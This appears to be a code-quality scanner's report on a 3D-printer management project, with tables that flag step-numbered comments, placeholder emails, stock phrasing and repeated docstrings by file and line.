| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 836 | // Step 1: pick Plate 2. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 840 | // Step 2: profile dropdowns are now visible. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 843 | // Step 3: submit and verify the plate index made it into the body. | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4240 | // Step 1: send a verification code to the user's email (proof of possession) | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4243 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | backend/app/core/database.py | 3944 | # Step 1: link old log entries to their archive via print_name + printer_id. | COMMENT |
| LOW | backend/app/core/database.py | 3968 | # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linked | STRING |
| LOW | backend/app/services/ldap_service.py | 263 | # Step 2: Bind as the user to verify password | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 255 | # Step 1: Test SSH connectivity | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 284 | # Step 2: Git fetch | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 297 | # Step 3: Git checkout + reset | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 310 | # Step 4: Install dependencies | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 323 | # Step 5: Restart daemon | COMMENT |
| LOW⚡ | backend/app/services/spoolbuddy_ssh.py | 335 | # Step 6: Clear browser cache and restart kiosk | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4980 | # Step 1: Stale detection triggers | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4984 | # Step 2: Paho fires disconnect callback (from socket close) | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4989 | # Step 3: Paho reconnects | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3306 | # Step 1: Right extruder loads AMS 0 slot 0 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3318 | # Step 2: Switch to left, load AMS HT | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3331 | # Step 3: Switch back to right, load AMS 0 slot 2 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3344 | # Step 4: Unload | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 595 | # Step 1: Print starts — plug turns on | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 610 | # Step 2: Print completes — auto-off is scheduled | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 622 | # Step 3: Auto-off executes via _mark_auto_off_executed | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2796 | # Step 1: Initial TOTP setup (no active TOTP yet → no code required) | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2804 | # Step 2: Enable TOTP with a valid code | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2813 | # Step 3: Determine current valid code and its counter | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2825 | # Step 4: Pre-set last_totp_counter so this code looks already used | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2829 | # Step 5: Attempt setup_totp with the "already used" code → must be rejected | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 96 | # Step 1: Reset (set RR=1, then RR=0) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 103 | # Step 2: Power up digital (PUD=1 auto-starts AD conversion) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 109 | # Step 3: Wait for power-up ready (PUR bit 3) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 127 | # Step 4: Configure device | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 145 | # Step 5: Tuning per application notes | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 151 | # Step 6: Trigger fresh AD conversion and wait for first result | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ests/unit/test_library_file_type_backfill_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …nd/tests/unit/test_variant_group_backfill_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | backend/tests/unit/test_vp_mode_rename_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …s/unit/test_cancellation_cascade_recovery_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …ckend/tests/unit/test_vp_access_code_sync_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | backend/tests/unit/test_oidc_env_managed_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …d/tests/unit/test_force_color_plate_scope_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | backend/tests/unit/test_vp_mode_rename_migration.py | 0 | run_migrations touches multiple tables; the full schema must exist. | STRING |
| HIGH | …s/unit/test_cancellation_cascade_recovery_migration.py | 0 | run_migrations touches multiple tables; the full schema must exist. | STRING |
| HIGH | …ckend/tests/unit/test_vp_access_code_sync_migration.py | 0 | run_migrations touches multiple tables; the full schema must exist. | STRING |
| HIGH | backend/tests/integration/test_spoolman_api.py | 0 | create spoolman settings in the database (enabled with url). | STRING |
| HIGH | …ckend/tests/integration/test_spoolman_inventory_api.py | 0 | create spoolman settings in the database (enabled with url). | STRING |
| HIGH | backend/tests/integration/test_spoolbuddy.py | 0 | create spoolman settings in the database (enabled with url). | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/src/components/CreateUserAdvancedAuthModal.tsx | 163 | placeholder={t('users.form.emailPlaceholder') || 'user@example.com'} | CODE |
| LOW | …ntend/src/__tests__/components/SpoolFormModal.test.tsx | 289 | input.getAttribute('placeholder')?.toLowerCase().includes('spool') | CODE |
| LOW | …ntend/src/__tests__/components/LdapUserPicker.test.tsx | 75 | display_name: 'John Doe', | CODE |
| LOW | frontend/src/__tests__/pages/CloudLoginCaptcha.test.tsx | 28 | await user.type(await screen.findByPlaceholderText('your@email.com'), 'user@example.com'); | CODE |
| LOW | frontend/src/i18n/locales/zh-TW.ts | 3414 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/pt-BR.ts | 3414 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/zh-CN.ts | 3414 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/en.ts | 3455 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/uk.ts | 3454 | emailPlaceholder: "user@example.com", | CODE |
| LOW | frontend/src/i18n/locales/ru.ts | 3244 | emailPlaceholder: "user@example.com", | CODE |
| LOW | frontend/src/i18n/locales/ko.ts | 3252 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/ja.ts | 3426 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/pages/SettingsPage.tsx | 6855 | placeholder={t('users.form.emailPlaceholder') || 'user@example.com'} | CODE |
| LOW | frontend/src/pages/UsersPage.tsx | 697 | placeholder={t('users.form.emailPlaceholder') || 'user@example.com'} | CODE |
| LOW | backend/app/api/routes/mfa.py | 1927 | # and "user@example.com" are treated as the same identity, preventing | COMMENT |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 277 | await store_token(db_session, "brand-new-token", "user@example.com", "global", None) | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 285 | (CLOUD_EMAIL_KEY, "user@example.com"), | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 303 | db_session.add(Settings(key=CLOUD_EMAIL_KEY, value="user@example.com")) | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 337 | assert body["email"] == "user@example.com" | CODE |
| LOW | backend/tests/unit/test_db_dialect.py | 240 | assert rows[0] == "user@example.com" | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 96 | result = await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 112 | result = await svc.verify_code("user@example.com", "123456") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 132 | result = await svc.login_request("user@example.com", "wrong") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 145 | await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 148 | result = await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 156 | await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 159 | result = await second.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 167 | await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 171 | result = await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 182 | await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 193 | await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 197 | result = await cn.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 570 | displayName="John Doe", | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 571 | cn="John Doe", | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 581 | assert results[0].display_name == "John Doe" | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 673 | displayName="John Doe", | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 683 | assert info.display_name == "John Doe" | CODE |
| LOW⚡ | backend/tests/unit/services/test_email_service.py | 220 | smtp_username="user@example.com", | CODE |
| LOW | backend/tests/unit/services/test_email_service.py | 233 | assert retrieved.smtp_username == "user@example.com" | CODE |
| LOW⚡ | backend/tests/integration/test_advanced_auth_api.py | 383 | json={"email": "test@test.com"}, | CODE |
| LOW | backend/tests/integration/test_advanced_auth_api.py | 17 | "smtp_username": "test@test.com", | CODE |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2075 | json={"email": "user@example.com"}, | CODE |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2338 | "smtp_username": "test@test.com", | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 2481 | fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"} | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 2498 | token_resp.json = MagicMock(return_value=fake_token) | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 2509 | mock_signing_key.key = "fake_key" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 3576 | ("preferred_username", True, {"preferred_username": " User@EXAMPLE.COM "}, "user@example.com"), | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4092 | claims={"sub": "nonstr-sub-1", "preferred_username": ["user@example.com"]}, | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4153 | assert link.provider_email == "user@example.com" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4200 | assert link.provider_email == "user@example.com" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4532 | fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"} | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4548 | token_resp.json = MagicMock(return_value=fake_token) | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4559 | mock_signing_key.key = "fake_key" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4678 | claims={"sub": "spaces-sub-1", "preferred_username": "John Doe"}, | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4667 | """preferred_username='John Doe' → sanitized to 'JohnDoe'.""" | STRING |
| LOW⚡ | backend/tests/integration/test_cloud_auth.py | 298 | await store_token(db_session, "user-token-abc", "user@example.com", "global", user=user) | CODE |
| LOW⚡ | backend/tests/integration/test_cloud_auth.py | 306 | assert refreshed.cloud_email == "user@example.com" | CODE |
| LOW | backend/tests/integration/test_cloud_auth.py | 549 | json={"email": "user@example.com", "password": "x", "region": "china"}, | CODE |
| LOW | backend/tests/integration/test_cloud_auth.py | 572 | "email": "user@example.com", | CODE |
| LOW | …d/tests/integration/test_cloud_token_auth_migration.py | 163 | admin.cloud_email = "user@example.com" | CODE |
| 4 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …end/src/__tests__/components/LibraryTagsModal.test.tsx | 94 | // In-use message — substring match keeps the test robust to whitespace. | COMMENT |
| MEDIUM | …end/src/__tests__/pages/InventoryPageLowStock.test.tsx | 420 | // The exact count cell is rendered separately. Easiest robust assertion: | COMMENT |
| MEDIUM | tests/e2e_comprehensive_test.py | 333 | """Run all comprehensive tests.""" | STRING |
| LOW⚡ | backend/app/main.py | 2292 | # nothing to identify, prompting "+ Add" would just create | COMMENT |
| MEDIUM | backend/app/api/routes/system.py | 407 | """Get comprehensive system information.""" | STRING |
| LOW | backend/app/api/routes/spoolman.py | 1211 | # identity → confirm would just create a fresh Spoolman row per push. | COMMENT |
| MEDIUM | backend/app/api/routes/camera.py | 905 | # reinitialize_database() and lets the test harness's patch of | COMMENT |
| MEDIUM | backend/app/api/routes/printers.py | 1075 | # harness's patch of backend.app.core.database.async_session take effect. | COMMENT |
| MEDIUM | backend/app/api/routes/printers.py | 4144 | # the publish is the robust ack signal. | COMMENT |
| LOW | backend/app/api/routes/printers.py | 699 | # No conversion needed - just use the raw value directly | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 4915 | # Track RUNNING state for more robust completion detection | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 5034 | # Use _was_running flag in addition to _previous_gcode_state for more robust detection | COMMENT |
| LOW | backend/app/services/bambu_mqtt.py | 2971 | # We've already processed the status fields above, so just return if no ams list | COMMENT |
| MEDIUM | backend/tests/unit/test_scheduler_nozzle_mismatch.py | 193 | # cleanup-library harness uses (get_ftp_retry_settings et al. open their own | COMMENT |
| MEDIUM | backend/tests/unit/test_extract_video_last_frame.py | 161 | # test fast — patch only inside the call so we don't affect the harness. | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_archive_service.py | 729 | # When existing is None, just use additional | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 117 | # by patching _load_or_generate_key directly. This is more robust than | COMMENT |
| MEDIUM⚡ | …/integration/test_users_groups_privilege_escalation.py | 159 | # Operator attempts to elevate target to admin. | COMMENT |
| MEDIUM | backend/tests/integration/test_ldap_provision.py | 353 | # Operators group is auto-seeded by the test harness — no need to create it. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/api/routes/library.py | 2046 | CODE | |
| LOW | backend/app/api/routes/print_log.py | 51 | CODE | |
| LOW | backend/app/api/routes/cloud.py | 1409 | CODE | |
| LOW | backend/app/api/routes/archives.py | 378 | CODE | |
| LOW | backend/app/api/routes/archives.py | 685 | CODE | |
| LOW | backend/app/api/routes/archives.py | 859 | CODE | |
| LOW | backend/app/api/routes/archives.py | 958 | CODE | |
| LOW | backend/app/api/routes/archives.py | 2801 | CODE | |
| LOW | backend/app/api/routes/archives.py | 4370 | CODE | |
| LOW | backend/app/api/routes/pipeline_runs.py | 806 | CODE | |
| LOW | backend/app/api/routes/local_backup.py | 62 | CODE | |
| LOW | backend/app/api/routes/camera.py | 1311 | CODE | |
| LOW | backend/app/api/routes/notification_templates.py | 174 | CODE | |
| LOW | backend/app/api/routes/settings.py | 1355 | CODE | |
| LOW | backend/app/api/routes/printers.py | 977 | CODE | |
| LOW | backend/app/api/routes/printers.py | 2410 | CODE | |
| LOW | backend/app/api/routes/notifications.py | 254 | CODE | |
| LOW | backend/app/services/spoolman.py | 673 | CODE | |
| LOW | backend/app/services/print_log.py | 16 | CODE | |
| LOW | backend/app/services/notification_service.py | 205 | CODE | |
| LOW | backend/app/services/usage_tracker.py | 1132 | CODE | |
| LOW | backend/app/services/export.py | 73 | CODE | |
| LOW | backend/app/services/diagnostic_snapshot.py | 192 | CODE | |
| LOW | backend/app/services/mqtt_smart_plug.py | 335 | CODE | |
| LOW | backend/app/services/bambu_mqtt.py | 1063 | CODE | |
| LOW | backend/app/services/bambu_mqtt.py | 5406 | CODE | |
| LOW | backend/app/services/email_service.py | 88 | CODE | |
| LOW | backend/app/services/archive.py | 1136 | CODE | |
| LOW | backend/app/services/printer_manager.py | 875 | CODE | |
| LOW | backend/app/services/virtual_printer/manager.py | 225 | CODE | |
| LOW | backend/tests/unit/services/test_printer_diagnostic.py | 68 | CODE | |
| LOW | backend/tests/integration/test_auth_apikey_rbac.py | 298 | CODE | |
| LOW | spoolbuddy/daemon/api_client.py | 60 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | backend/app/main.py | 5736 | # Register bed cooldown waiter (event-driven via on_bed_temp_update callback). | COMMENT |
| MEDIUM⚡ | backend/app/api/routes/pipeline_runs.py | 366 | # Source resolution + orchestration | COMMENT |
| MEDIUM | backend/app/api/routes/pipeline_runs.py | 589 | # set unconditionally since the orchestration actually got here. | COMMENT |
| MEDIUM | backend/app/api/routes/pipeline_runs.py | 972 | # orchestration single-sourced. The result inherits parent_run_id. Every | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 4356 | # Notify bed temperature updates (used by event-driven bed cooldown monitor) | COMMENT |
| MEDIUM | backend/tests/integration/test_pipeline_runs_api.py | 88 | # Materialise an empty file on disk so the orchestration's path-exists | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | backend/app/services/ldap_service.py | 17 | from ldap3.core.exceptions import LDAPObjectClassError | CODE |
| CRITICAL | backend/tests/unit/services/test_ldap_service.py | 14 | from ldap3.core.exceptions import LDAPObjectClassError | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docker-publish.sh | 4 | # Usage: | COMMENT |
| LOW | docker-publish-beta.sh | 4 | # Usage: | COMMENT |
| LOW | test_security.sh | 6 | # Usage: | COMMENT |
| LOW | docker-compose.yml | 5 | # Usage: | COMMENT |
| LOW | docker-publish-daily-beta.sh | 4 | # Usage: | COMMENT |
| LOW | install/install.sh | 6 | # Usage: | COMMENT |
| LOW | install/docker-install.sh | 6 | # Usage: | COMMENT |
| LOW | slicer-api/docker-compose.yml | 15 | # Usage: | COMMENT |
| LOW | spoolbuddy/install/install.sh | 9 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/app/services/firmware_check.py | 568 | Check if a firmware update is available for a printer. Args: model: Printer model name | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | backend/tests/unit/services/test_camera_fanout.py | 570 | CODE |